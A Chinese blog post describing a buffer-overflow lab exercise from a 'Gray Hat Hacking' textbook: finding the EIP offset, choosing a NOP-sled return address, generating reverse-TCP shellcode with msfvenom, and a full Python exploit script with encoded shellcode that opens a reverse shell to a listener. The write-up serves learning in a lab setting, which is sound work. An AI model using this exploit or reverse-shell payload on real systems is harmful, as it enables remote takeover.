学堂 学堂 学堂公众号手机端

缓冲区溢出漏洞挖掘过程

lewis 1年前 (2024-03-18) 阅读数 4 #技术

本文主要记录作者在缓冲区溢出漏洞学习过程中,根据《灰帽黑客第5版》实验11_6的测试记录。

缓冲区溢出的原理不再赘述,缓冲区溢出漏洞的挖掘一般遵循以下步骤:

控制EIP确定偏移量确定返回地址生成shellcode验证漏洞如果有必要,调试漏洞验证程序。

1.控制EIP


先查看以下目标程序的基本信息

readelf -h <文件名>

查看目标程序为32位小端程序。执行程序,发现程序监听5555端口。

尝试用nc连接端口,回显需要输入用户名。

程序有输入,这时就考虑是否存在缓冲区溢出漏洞,尝试向程序发送长字符串。利用perl语言向程序发送1000个A组成的字符串,程序崩溃停止运行。

可能存在缓冲区溢出漏洞,这时需要用gdb调试程序查看堆栈变化。看到程序发生段错误时,ebp、eip均已被篡改,被“A”填充。

2.确定偏移量

确定EIP可以被重写后,需要确定需要多少个字符才能刚好覆盖EIP。最简单的是利用metasploit的工具。

pattern_create工具可以生成一个字符串,将它发送给程序,用gdb查看程序崩溃时eip指向的地址,然后再用它的姐妹工具pattern_offset,将刚才的崩溃地址作为参数输入,即可计算出偏移量。

3.确定返回地址

确定EIP跳转到shellcode的地址,这里可以加入一段nop雪橇(0x90)以防止位置发生少量偏移造成跳转失败。将字符串发送给程序查看堆栈以确定返回地址。让eip跳转到雪橇内都可以,如下图,从程序崩溃时的堆栈可以看出,返回地址可以确定为0xffffd498,由于程序是小端序,程序里应写成:jmp = "\x98\xd4\xff\xff"

4.生成shellcode

利用metasploit的msfvenom模块生成tcp的反射shell,由于程序是32位的,选择/linux/x86/shell_reverse_tcp,-b '\x00'是为了防止shellcode中含有‘\x00’被当作字符串的结束符而停止。

msfvenom -p linux/x86/shell_reverse_tcp -b '\x00' -f python LHOST=192.168.10.102 LPORT=8675

5.验证漏洞

编写漏洞验证代码:

#!/usr/bin/python
import socket

total = 1024 # Total Length of Buffer String
off = 264

buf = ""
buf += "\xbd\x2e\x04\x6b\x83\xdb\xc2\xd9\x74\x24\xf4\x5f\x29"
buf += "\xc9\xb1\x12\x83\xef\xfc\x31\x6f\x0e\x03\x41\x0a\x89"
buf += "\x76\xac\xc9\xba\x9a\x9d\xae\x17\x37\x23\xb8\x79\x77"
buf += "\x45\x77\xf9\xeb\xd0\x37\xc5\xc6\x62\x7e\x43\x20\x0a"
buf += "\x41\x1b\xd8\xac\x29\x5e\xdd\x11\x49\xd7\x3c\xe1\xeb"
buf += "\xb8\xef\x52\x47\x3b\x99\xb5\x6a\xbc\xcb\x5d\x1b\x92"
buf += "\x98\xf5\x8b\xc3\x71\x67\x25\x95\x6d\x35\xe6\x2c\x90"
buf += "\x09\x03\xe2\xd3"

noplen = 32
jmp = "\x98\xd4\xff\xff" # NOP sled address

s = socket.socket()
s.connect(("localhost", 5555)) # Connect to server
print s.recv(1024) # Recieve Banner

exploit = "" # Build Exploit String
exploit += "A"*off + jmp + "\x90"*noplen + buf
exploit +="C"*(total-off-4-len(buf)-noplen)

s.send(exploit) # Send Exploit String
s.close

执行漏洞程序,同时开启反连窗口监听。然后执行漏洞验证代码,向程序发送shellcode。漏洞验证成功后可见在8675端口监听的窗口成功获得反连shell,实验测试成功。


​​实验测试程序下载地址​​

版权声明

本文仅代表作者观点,不代表博信信息网立场。

热门